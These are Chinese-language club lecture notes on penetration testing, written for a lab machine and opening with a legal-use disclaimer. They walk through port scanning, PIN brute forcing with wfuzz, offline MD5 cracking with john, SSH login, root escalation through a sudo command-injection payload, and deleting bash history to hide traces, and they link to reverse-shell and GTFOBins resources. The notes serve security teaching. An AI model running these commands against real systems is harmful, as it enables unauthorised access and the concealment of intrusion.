我們很多機器都是透過他們的vps架設的
社團dc裡面那位熱心的飛飛老師的資安教育公司
自本社團活動中所學習的工具、弱點、攻擊手法等僅供資安知識的學習,若在課程後想做相關練習,請在合法的CTF平台上進行測試。
如對外有相關攻擊行為,皆與授課講師以及實驗中學資訊研究社無關。
不要去犯法喔><
Fwd from wikipedia:
是經過授權,對電腦系統進行的模擬網路攻擊,用於評估系統的安全性,為了證明網路防禦按照預期計劃正常執行而提供的一種機制。
1.劇烈的攻擊(剛)
2.不影響服務(柔)
graph TD;
信息蒐集-->漏洞利用;
漏洞利用-->權限提升;
權限提升-->權限穩固;
權限穩固-->善後/痕跡清除 & 報告撰寫;
端口掃描
23.146.248.13:???
公開情資蒐集
其他
graph TD;
漏洞利用-->WEB & PWN;
WEB-->常見漏洞利用 & 1-DAY漏洞利用 & 密碼猜解 & 取得服務檔案(變成打白箱);
PWN-->1-DAY漏洞利用 & 取得服務檔案(變成打白箱) & FUZZ;
密碼猜解
打白箱
Linux
好工具:
Windows
比linux複雜,不在這次課程範圍
Winpeas
WinEnum
potato家族
NetWork
Lifer
23.146.248.13
端口掃描 (nmap):
nmap -sC -sV -PN 23.146.248.13
port 22 - ssh
port 8080 - http
*小知識
ssh是遠端登錄服務
登陸後可以直接取得本機shell權限
http 網頁服務
port 8080
路徑爆破 (dirsearch):
dirsearch --url http://23.146.248.13:8080/
Exploit
造訪剛剛發現的/backup
路徑
發現要輸入四位數pin碼
打開f12開發人員工具的network選項
發現送出的參數為 pin
而輸入錯誤會有Invalid PIN...
的警告
撰寫python腳本生成0000~9999
f=open('0000_9999.txt', 'wb')
for i in range(0, 10000):
f.write(str(i).encode().rjust(4, b'0')+b'\n')
f.close()
利用wfuzz密碼猜解工具進行攻擊
wfuzz -u 'http://23.146.248.13:8080/backup' -d 'pin=FUZZ' -w 0000_9999.txt --hs 'Invalid PIN'
輸入剛剛的密碼,進到下載備份的頁面
下載後在kali linux內打開blog.db
點選users的table,右鍵選擇 browse database
發現使用者密碼hash
將其存入hash.txt
*字典攻擊
利用密碼猜解工具john進行離線hash破譯
john hash.txt --wordlist=~/rockyou.txt --format=Raw-md5
成功破解whale密碼,利用他登入SSH成功
ssh whale@23.146.248.13
註:現實世界要保證hash安全性通常會幫他撒鹽
HASH(KEY+PASSWORD)
權限檢查
sudo -l
可以以root的身分執行 /home/whale/check_sql.py
Code Review
檢查這隻代碼會發現command injection的洞
構造一下字串
看圖說故事
"]; then /bin/bash ; fi #
if [ -f ""]; then /bin/bash ; fi #" ]; then echo "File exists: "]; then /bin/bash ; fi #";fi
Payload
sudo ./check_sql.py --sql='"]; then /bin/bash ; fi #'
提權成功!!!
最後痕跡清除可以再次登入ssh後
rm .bash_history
把bash history清除
講明服務/題目名稱,寫清楚每個階段
把payload貼上來並解釋為什麼可以這樣做
最後附上完整截圖
Reverse shell
https://www.revshells.com/
找到可能提權的利用點?
GTFOBins
https://gtfobins.github.io/gtfobins/find/
什麼是suid?
就是允許其他使用者以檔案擁有者權限執行該檔案
(註:本機器的SUID洞目前壞了,修理中= =)